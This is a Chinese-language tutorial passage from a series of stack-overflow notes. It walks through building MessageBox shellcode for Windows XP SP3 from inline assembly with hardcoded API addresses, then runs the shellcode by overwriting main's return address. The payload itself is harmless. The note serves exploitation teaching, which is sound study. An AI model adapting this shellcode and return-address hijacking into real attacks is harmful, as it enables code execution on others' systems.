栈溢出笔记1.3 准备Shellcode
经过1.1和1.2节的讲述，我们已经知道了如何更改EIP的值。程序执行函数之后将跳转到我们设定的位置开始执行，因此，我们需要准备一个自己的程序，接手后面的工作。这是一个什么样的程序？是一个C语言编写的代码？是一个可直接调用的exe？肯定不是，因为EIP所指的地址保存的内容为指令的操作码，CPU读取该操作码执行相应的操作。所以我们要准备的程序也应该是一段“操作码”。
继续写1.1中的Hello World，这次我们要把一个C语言编写的MessageBox换成一个只有“操作码”的程序。要获取操作码很容易，Immunity Debugger中显示出了每句汇编语句对应的操作码：
图19
上图就是调用MessageBoxA函数对应的汇编指令及操作码。
再正式写Shellcode之前，我们先编写一个汇编形式的MessageBox。我们当然不是用MASM，而是使用VC++的内联汇编__asm，这样就需要解决几个问题。
（1）内联汇编中无法定义字符串常量“example_1”和“HelloWorld”，我们如何定义它，并获取其地址？
我们无法用汇编语句中的db在内联汇编中定义字符串常量，但有一个东西在我们的掌控之下——栈，因此，可以将字符串硬编码压入栈上，同时可以获取其地址。
（2）内联汇编中没有API函数MessageBoxA，如何调用它？
没有了c语言之间调用的MessageBoxA，但通过example_1在Immunity Debugger中的调试，我们知道了MessageBoxA的地址（见图5），为0x77d507ea（未启用地址随机化，且不同机器不相同），这个地址在我的Windows XP SP3下是固定的。因此，我可以直接在汇编中调用该地址即可。
似乎没什么问题了，写出来如下代码：
/****************************************************************/
// example_3：内联汇编
int main()
{
__asm
{
push ebp
mov ebp, esp
push 0x0000646c // "ld"
push 0x726f576f // "oWor"
push 0x6c6c6548 // "Hell"
push 0x00000031 // "1"
push 0x5f656c70 // "ple_"
push 0x6d617865 // "exam"
push 0
lea ebx, [ebp-18h]
push ebx
lea ebx, [ebp-0ch]
push ebx
push 0
mov ebx, 0x77d507ea
call ebx
add esp, 18h
pop ebp
}
return 0;
}
/********************************************************* */是的，不用头文件，也没有C函数（main除外）。编译运行它，然后炸了。。。
图20
0x77d507ea访问错误？这不是MessageBoxA函数函数吗？难道是我的地址找错了？用Immunity Debugger看看。
图21
这是main函数，可以看到中间我们用内联汇编写的代码基本保持原样。我们在CALL EBX上设断点，可以看到两个字符串及MessageBoxA的参数都已经被成功放入栈中：
图22
接着单步执行F7，发现CALL EBX跳转后没有任何指令，接着调试器给出了如下错误：
图23
查看以下内存空间，大概就可以发现问题了：
图24
是的，并没有0x77d507ea这个地址范围，也没有MessageBoxA所在的user32.dll。也就是说，程序根本没有加载user32.dll，这就是直接使用地址和通过API调用的差别，编译器不会检查0x77d507ea这个函数是否存在。
我们用简单的方法来验证这个猜想，用LoadLibrary加载user32.dll：
/****************************************************************/
#include <Windows.h>
int main()
{
LoadLibraryA("user32.dll");
...
/****************************************************************/好了，运行成功：
图25
但这不是我们想要的，我们不想要头文件，也不想要API调用。所以我们要再改一下，把LoadLibraryA也写入汇编中，LoadLibraryA位于kernel32.dll中，这个动态库是肯定会加载的。因此，找到LoadLibraryA的地址就行了，在我的机器上为0x7c801d7b。程序改为这样：
/*****************************************************************************/
// example_3：内联汇编
int main()
{
__asm
{
push ebp
mov ebp, esp
push 0x0000646c // "ld"
push 0x726f576f // "oWor"
push 0x6c6c6548 // "Hell"
push 0x00000031 // "1"
push 0x5f656c70 // "ple_"
push 0x6d617865 // "exam"
push 0x00006c6c // "ll"
push 0x642e3233 // "32.d"
push 0x72657375 // "user"
lea ebx, [ebp-24h]
push ebx
mov ebx, 0x7c801d7b
call ebx // LoadLibraryA
push 0
lea ebx, [ebp-18h]
push ebx
lea ebx, [ebp-0ch]
push ebx
push 0
mov ebx, 0x77d507ea // MessageBoxA
call ebx
add esp, 24h
pop ebp
}
return 0;
}
/*****************************************************************************/编译后运行成功。这样，我们把这段汇编代码的操作码抠出来运行，也应该可以达到同样的效果。先把操作码抠出来吧：
/*****************************************************************************/
55 // PUSH EBP
8BEC // MOV EBP, ESP
68 6C640000 //PUSH 646C
68 6F576F72 //PUSH 726F576F
68 48656C6C //PUSH 6C6C6548
6A 31 //PUSH 31
68 706C655F //PUSH 5F656C70
68 6578616D //PUSH 6D617865
68 6C6C0000 //PUSH 6C6C
68 33322E64 //PUSH 642E3233
68 75736572 //PUSH 72657375
8D5D DC //LEA EBX,DWORD PTR SS:[EBP-24]
53 //PUSH EBX
BB 7B1D807C //MOV EBX,kernel32.LoadLibraryA
FFD3 //CALL EBX
6A 00 //PUSH 0
8D5D E8 //LEA EBX,DWORD PTR SS:[EBP-18]
53 //PUSH EBX
8D5D F4 //LEA EBX,DWORD PTR SS:[EBP-C]
53 //PUSH EBX
6A 00 //PUSH 0
BB EA07D577 //MOV EBX,77D507EA
FFD3 //CALL EBX
/*****************************************************************************/去掉了尾部几句恢复EBP，ESP的语句，我们不再需要它，后面你将知道（但是首部的不能去掉，因为要用它寻址字符串），整理一下操作码：
/*****************************************************************************/
char opcode[] = "\x55\x8B\xEC\x68\x6C\x64\x00\x00\x68\x6F\x57\x6F\x72\x68\x48\x65\x6C\x6C\x6A\x31\x68\x70\x6C\x65\x5F"
"\x68\x65\x78\x61\x6D\x68\x6C\x6C\x00\x00\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x8D\x5D\xDC\x53\xBB\x7B"
"\x1D\x80\x7C\xFF\xD3\x6A\x00\x8D\x5D\xE8\x53\x8D\x5D\xF4\x53\x6A\x00\xBB\xEA\x07\xD5\x77\xFF\xD3"; /*****************************************************************************/下面是测试程序：
/*****************************************************************************/
char opcode[] = "\x55\x8B\xEC\x68\x6C\x64\x00\x00\x68\x6F\x57\x6F\x72\x68\x48\x65\x6C\x6C\x6A\x31\x68\x70\x6C\x65\x5F"
"\x68\x65\x78\x61\x6D\x68\x6C\x6C\x00\x00\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x8D\x5D\xDC\x53\xBB\x7B"
"\x1D\x80\x7C\xFF\xD3\x6A\x00\x8D\x5D\xE8\x53\x8D\x5D\xF4\x53\x6A\x00\xBB\xEA\x07\xD5\x77\xFF\xD3";
int main()
{
int* ret;
ret = (int*)&ret + 2;
(*ret) = (int)opcode;
}
/*****************************************************************************/测试程序中直接用opcode的地址覆盖了main函数的返回地址，程序执行效果如下：
图26
MessageBoxA成功执行，但是随后程序崩溃，这是正确的。因为我们覆盖了main的返回地址，opcode接管程序后无法再返回main中，程序跑飞了，无法正常结束。我们需要在opcode中结束它。需要再加一个ExitProcess调用，同样，我找到了它在我机器上的地址：0x7c81cafa。
将example_3中的最后两句：add esp, 24h, pop ebp 换为如下：
/*****************************************************************************/
xor eax, eax
push eax
mov ebx, 0x7c81cafa // ExitProcess
call ebx
/*****************************************************************************/最后得到下面这个正常工作并退出的Shellcode：
/*****************************************************************************/
// example_4：MessageBox的Shellcode版本
char opcode[] = "\x55\x8B\xEC\x68\x6C\x64\x00\x00\x68\x6F\x57\x6F\x72\x68\x48\x65\x6C\x6C\x6A\x31\x68\x70\x6C\x65\x5F"
"\x68\x65\x78\x61\x6D\x68\x6C\x6C\x00\x00\x68\x33\x32\x2E\x64\x68\x75\x73\x65\x72\x8D\x5D\xDC\x53\xBB\x7B"
"\x1D\x80\x7C\xFF\xD3\x6A\x00\x8D\x5D\xE8\x53\x8D\x5D\xF4\x53\x6A\x00\xBB\xEA\x07\xD5\x77\xFF\xD3\x33\xC0"
"\x50\xBB\xFA\xCA\x81\x7C\xFF\xD3";
int main()
{
int* ret;
ret = (int*)&ret + 2;
(*ret) = (int)opcode;
}
/*****************************************************************************/